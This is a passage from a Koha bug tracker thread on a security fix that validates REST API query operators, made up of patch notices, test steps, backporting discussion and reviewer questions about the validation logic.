
JD amended patch: tidy

Signed-off-by: Jonathan Druart <jonathan.druart@bugs.koha-community.org>
Comment 124 Tomás Cohen Arazi 2024-07-22 18:36:41 UTC
Created attachment 169346 [details] [review]
[23.11.x] Bug 37018: Add 400 response definition to all routes

This patch adds a test for well defined 400 responses on all verbs and
paths on the API spec.

The tests verify:

* Presence of 400 response definition
* The description must start with 'Bad request' (needs coding guideline)
* If DBIC queries are allowed on the route, then `invalid_query` needs
  to be mentioned in the description.

All routes get fixed to make the tests pass.

To test:
1. Apply this patch
2. Run:
   $ ktd --shell
  k$ yarn api:bundle
  k$ prove xt/api.t
=> SUCCESS: Tests pass!

Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>
Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com>

Signed-off-by: Jonathan Druart <jonathan.druart@bugs.koha-community.org>
Comment 125 Tomás Cohen Arazi 2024-07-22 19:11:37 UTC
Created attachment 169368 [details] [review]
[23.05.x] Bug 37018: Regression tests

This patch adds regression tests. With the current codebase, the
malicious query returns a 200. It should be caught and a 400 needs to be
returned.

To test:
1. Apply this patch
2. Run:
   $ ktd --shell
  k$ prove t/db_dependent/api/v1/query.t
=> FAIL: It returns a 200
3. Once the rest of the patches are ready, repeat 2
=> SUCCESS: It returns a 400

Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>
Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com>

Signed-off-by: Jonathan Druart <jonathan.druart@bugs.koha-community.org>
Comment 126 Tomás Cohen Arazi 2024-07-22 19:11:41 UTC
Created attachment 169369 [details] [review]
[23.05.x] Bug 37018: Unit tests

Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>
Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com>

Signed-off-by: Jonathan Druart <jonathan.druart@bugs.koha-community.org>
Comment 127 Tomás Cohen Arazi 2024-07-22 19:11:45 UTC
Created attachment 169370 [details] [review]
[23.05.x] Bug 37018: Add Koha::Exceptions::REST

Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>
Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com>

Signed-off-by: Jonathan Druart <jonathan.druart@bugs.koha-community.org>
Comment 128 Tomás Cohen Arazi 2024-07-22 19:11:49 UTC
Created attachment 169371 [details] [review]
[23.05.x] Bug 37018: Add validation method to Koha::REST::Plugin::Query.pm

Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>
Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com>

Signed-off-by: Jonathan Druart <jonathan.druart@bugs.koha-community.org>
Comment 129 Tomás Cohen Arazi 2024-07-22 19:11:53 UTC
Created attachment 169372 [details] [review]
[23.05.x] Bug 37018: Use validation in search_rs helper

Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>
Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com>

Signed-off-by: Jonathan Druart <jonathan.druart@bugs.koha-community.org>
Comment 130 Tomás Cohen Arazi 2024-07-22 19:11:57 UTC
Created attachment 169373 [details] [review]
[23.05.x] Bug 37018: (follow-up) adding some allowed operators

Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>
Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com>

Signed-off-by: Jonathan Druart <jonathan.druart@bugs.koha-community.org>
Comment 131 Tomás Cohen Arazi 2024-07-22 19:12:01 UTC
Created attachment 169374 [details] [review]
[23.05.x] Bug 37018: Handle exception in unhandled_exception() helper

Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>
Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com>

Signed-off-by: Jonathan Druart <jonathan.druart@bugs.koha-community.org>
Comment 132 Tomás Cohen Arazi 2024-07-22 19:12:04 UTC
Created attachment 169375 [details] [review]
[23.05.x] Bug 37018: Silence useless warning

Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>
Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com>

Signed-off-by: Jonathan Druart <jonathan.druart@bugs.koha-community.org>
Comment 133 Tomás Cohen Arazi 2024-07-22 19:12:08 UTC
Created attachment 169376 [details] [review]
[23.05.x] Bug 37018: Clarify operators

This patch clarifies the list of operators both in the validate routine
and in the swagger descrption block where we document this feature for
the end user.

JD amended patch: tidy

Signed-off-by: Jonathan Druart <jonathan.druart@bugs.koha-community.org>
Comment 134 Tomás Cohen Arazi 2024-07-22 19:12:12 UTC
Created attachment 169377 [details] [review]
[23.05.x] Bug 37018: Add 400 response definition to all routes

This patch adds a test for well defined 400 responses on all verbs and
paths on the API spec.

The tests verify:

* Presence of 400 response definition
* The description must start with 'Bad request' (needs coding guideline)
* If DBIC queries are allowed on the route, then `invalid_query` needs
  to be mentioned in the description.

All routes get fixed to make the tests pass.

To test:
1. Apply this patch
2. Run:
   $ ktd --shell
  k$ yarn api:bundle
  k$ prove xt/api.t
=> SUCCESS: Tests pass!

Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>
Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com>

Signed-off-by: Jonathan Druart <jonathan.druart@bugs.koha-community.org>
Comment 135 Tomás Cohen Arazi 2024-07-22 19:23:43 UTC
Created attachment 169378 [details] [review]
[23.11.x] Bug 37018: Add 400 response definition to all routes

This patch adds a test for well defined 400 responses on all verbs and
paths on the API spec.

The tests verify:

* Presence of 400 response definition
* The description must start with 'Bad request' (needs coding guideline)
* If DBIC queries are allowed on the route, then `invalid_query` needs
  to be mentioned in the description.

All routes get fixed to make the tests pass.

To test:
1. Apply this patch
2. Run:
   $ ktd --shell
  k$ yarn api:bundle
  k$ prove xt/api.t
=> SUCCESS: Tests pass!

Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>
Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com>

Signed-off-by: Jonathan Druart <jonathan.druart@bugs.koha-community.org>
Comment 136 Tomás Cohen Arazi 2024-07-22 19:26:07 UTC
I submitted patches for the maintenance releases.

* 24.05: 'main' patches plus the one marked 24.05.x
* 23.11: Apply the 23.11.x only
* 23.05: Apply the 23.05.x only

Please test. I overlooked tiny things on my first submission for 23.11.
Comment 137 wainuiwitikapark 2024-07-23 04:44:39 UTC
(In reply to Tomás Cohen Arazi from comment #136)
> I submitted patches for the maintenance releases.
> 
> * 24.05: 'main' patches plus the one marked 24.05.x
> * 23.11: Apply the 23.11.x only
> * 23.05: Apply the 23.05.x only
> 
> Please test. I overlooked tiny things on my first submission for 23.11.

thanks!!!
Comment 138 Fridolin Somers 2024-07-23 08:43:23 UTC
(In reply to Tomás Cohen Arazi from comment #136)
> I submitted patches for the maintenance releases.
> 
> * 24.05: 'main' patches plus the one marked 24.05.x
> * 23.11: Apply the 23.11.x only
> * 23.05: Apply the 23.05.x only
> 
> Please test. I overlooked tiny things on my first submission for 23.11.

Thanks a lot.
It applies for 23.11.x
Comment 139 Frédéric Demians 2024-07-23 10:55:57 UTC
I've tried to cherry-pick "Add 400 response definition to all routes" patch from 23.05 securiy branch, but it doesn't apply on 22.11 security branch. Several swagger files seem to conflict, and I have no idea what it does mean. It's this:

deleted by us:   api/v1/swagger/paths/authorities.yaml
deleted by us:   api/v1/swagger/paths/item_types.yaml
both modified:   api/v1/swagger/paths/items.yaml
both modified:   api/v1/swagger/paths/patrons_account.yaml
deleted by us:   api/v1/swagger/paths/tickets.yaml
both modified:   api/v1/swagger/paths/transfer_limits.yaml
Comment 140 Tomás Cohen Arazi 2024-07-23 12:24:48 UTC
(In reply to Frédéric Demians from comment #139)
> I've tried to cherry-pick "Add 400 response definition to all routes" patch
> from 23.05 securiy branch, but it doesn't apply on 22.11 security branch.
> Several swagger files seem to conflict, and I have no idea what it does
> mean. It's this:
> 
> deleted by us:   api/v1/swagger/paths/authorities.yaml
> deleted by us:   api/v1/swagger/paths/item_types.yaml
> both modified:   api/v1/swagger/paths/items.yaml
> both modified:   api/v1/swagger/paths/patrons_account.yaml
> deleted by us:   api/v1/swagger/paths/tickets.yaml
> both modified:   api/v1/swagger/paths/transfer_limits.yaml

* deleted by us: the file doesn't exist on your brach and is being created by the cherry-pick. `git rm` and fixup should do the trick
* both modified: needs manual review
Comment 141 Tomás Cohen Arazi 2024-07-23 12:37:42 UTC
Created attachment 169414 [details] [review]
[22.11.x] Bug 37018: Add 400 response definition to all routes

This patch adds a test for well defined 400 responses on all verbs and
paths on the API spec.

The tests verify:

* Presence of 400 response definition
* The description must start with 'Bad request' (needs coding guideline)
* If DBIC queries are allowed on the route, then `invalid_query` needs
  to be mentioned in the description.

All routes get fixed to make the tests pass.

To test:
1. Apply this patch
2. Run:
   $ ktd --shell
  k$ yarn api:bundle
  k$ prove xt/api.t
=> SUCCESS: Tests pass!

Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>
Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com>
Signed-off-by: Jonathan Druart <jonathan.druart@bugs.koha-community.org>
Comment 142 Lucas Gass 2024-07-25 15:13:55 UTC
To make tests pass in 24.05.x I had to pick the follow-up commits from Bug 36480 and Bug 36481. I think that is right now?
Comment 143 Lucas Gass 2024-07-25 15:21:59 UTC
This has been backported to 24.05.x-security branch for 24.05.02
Comment 144 Tomás Cohen Arazi 2024-07-29 12:49:06 UTC
Created attachment 169832 [details] [review]
Bug 37018: Regression tests

This patch adds regression tests. With the current codebase, the
malicious query returns a 200. It should be caught and a 400 needs to be
returned.

To test:
1. Apply this patch
2. Run:
   $ ktd --shell
  k$ prove t/db_dependent/api/v1/query.t
=> FAIL: It returns a 200
3. Once the rest of the patches are ready, repeat 2
=> SUCCESS: It returns a 400

Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>
Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com>

Signed-off-by: Jonathan Druart <jonathan.druart@bugs.koha-community.org>
Comment 145 Tomás Cohen Arazi 2024-07-29 12:49:11 UTC
Created attachment 169833 [details] [review]
Bug 37018: Unit tests

Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>
Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com>

Signed-off-by: Jonathan Druart <jonathan.druart@bugs.koha-community.org>
Comment 146 Tomás Cohen Arazi 2024-07-29 12:49:14 UTC
Created attachment 169834 [details] [review]
Bug 37018: Add Koha::Exceptions::REST

Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>
Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com>

Signed-off-by: Jonathan Druart <jonathan.druart@bugs.koha-community.org>
Comment 147 Tomás Cohen Arazi 2024-07-29 12:49:18 UTC
Created attachment 169835 [details] [review]
Bug 37018: Add validation method to Koha::REST::Plugin::Query.pm

Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>
Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com>

Signed-off-by: Jonathan Druart <jonathan.druart@bugs.koha-community.org>
Comment 148 Tomás Cohen Arazi 2024-07-29 12:49:22 UTC
Created attachment 169836 [details] [review]
Bug 37018: Use validation in search_rs helper

Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>
Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com>

Signed-off-by: Jonathan Druart <jonathan.druart@bugs.koha-community.org>
Comment 149 Tomás Cohen Arazi 2024-07-29 12:49:26 UTC
Created attachment 169837 [details] [review]
Bug 37018: (follow-up) adding some allowed operators

Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>
Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com>

Signed-off-by: Jonathan Druart <jonathan.druart@bugs.koha-community.org>
Comment 150 Tomás Cohen Arazi 2024-07-29 12:49:30 UTC
Created attachment 169838 [details] [review]
Bug 37018: Handle exception in unhandled_exception() helper

Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>
Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com>

Signed-off-by: Jonathan Druart <jonathan.druart@bugs.koha-community.org>
Comment 151 Tomás Cohen Arazi 2024-07-29 12:49:34 UTC
Created attachment 169839 [details] [review]
Bug 37018: Silence useless warning

Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>
Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com>

Signed-off-by: Jonathan Druart <jonathan.druart@bugs.koha-community.org>
Comment 152 Tomás Cohen Arazi 2024-07-29 12:49:38 UTC
Created attachment 169840 [details] [review]
Bug 37018: Add 400 response definition to all routes

This patch adds a test for well defined 400 responses on all verbs and
paths on the API spec.

The tests verify:

* Presence of 400 response definition
* The description must start with 'Bad request' (needs coding guideline)
* If DBIC queries are allowed on the route, then `invalid_query` needs
  to be mentioned in the description.

All routes get fixed to make the tests pass.

To test:
1. Apply this patch
2. Run:
   $ ktd --shell
  k$ yarn api:bundle
  k$ prove xt/api.t
=> SUCCESS: Tests pass!

Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>
Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com>

Signed-off-by: Jonathan Druart <jonathan.druart@bugs.koha-community.org>
Comment 153 Tomás Cohen Arazi 2024-07-29 12:49:42 UTC
Created attachment 169841 [details] [review]
Bug 37018: Clarify operators

This patch clarifies the list of operators both in the validate routine
and in the swagger descrption block where we document this feature for
the end user.

JD amended patch: tidy

Signed-off-by: Jonathan Druart <jonathan.druart@bugs.koha-community.org>
Comment 154 David Cook 2024-08-01 04:09:13 UTC
Looks like this is in v23.11.07 but it's not mentioned in the comments or "Version(s) released in:" section.

And this is still marked as Passed QA? Just a bit confused.
Comment 155 David Cook 2024-08-01 04:24:42 UTC
(In reply to David Cook from comment #154)
> Looks like this is in v23.11.07 but it's not mentioned in the comments or
> "Version(s) released in:" section.
> 
> And this is still marked as Passed QA? Just a bit confused.

Now I'm extra confused.

I can see "Bug 37018: Add 400 response definition to all routes" in "v23.11.07" but not in "main". 

Can RM and RMaints take a look at this one?
Comment 156 David Cook 2024-08-01 04:26:10 UTC
(In reply to David Cook from comment #155)
> (In reply to David Cook from comment #154)
> > Looks like this is in v23.11.07 but it's not mentioned in the comments or
> > "Version(s) released in:" section.
> > 
> > And this is still marked as Passed QA? Just a bit confused.
> 
> Now I'm extra confused.
> 
> I can see "Bug 37018: Add 400 response definition to all routes" in
> "v23.11.07" but not in "main". 
> 
> Can RM and RMaints take a look at this one?

After looking through it again, I'm guessing that this is a procedural thing because it's a security bug. And maybe just got missed getting pushed to main or will be pushed tomorrow (good ol' timezones) or something?
Comment 157 Katrin Fischer 2024-08-01 15:38:18 UTC
Pushed for 24.11!

Well done everyone, thank you!
Comment 158 Marcel de Rooy 2024-08-05 08:22:41 UTC
Good work, here guys!

When I am looking at the code of _validate_query, I am wondering if constructs like 

priority => [ { '=', 2 }, { '>', 5 } ]

are parsed correctly?
It seems that the inner hashes go recursively back into the routine, but the operators = and > here are viewed as field names and wont be checked with _validate_operator. Or am I misreading something?
Comment 159 Marcel de Rooy 2024-08-05 08:28:52 UTC
Similarly just wondering if

+            if ( ref $element eq 'ARRAY' && $element->[0] eq '-and' ) {
+                _validate_query( $element->[1] );

this catches everything ?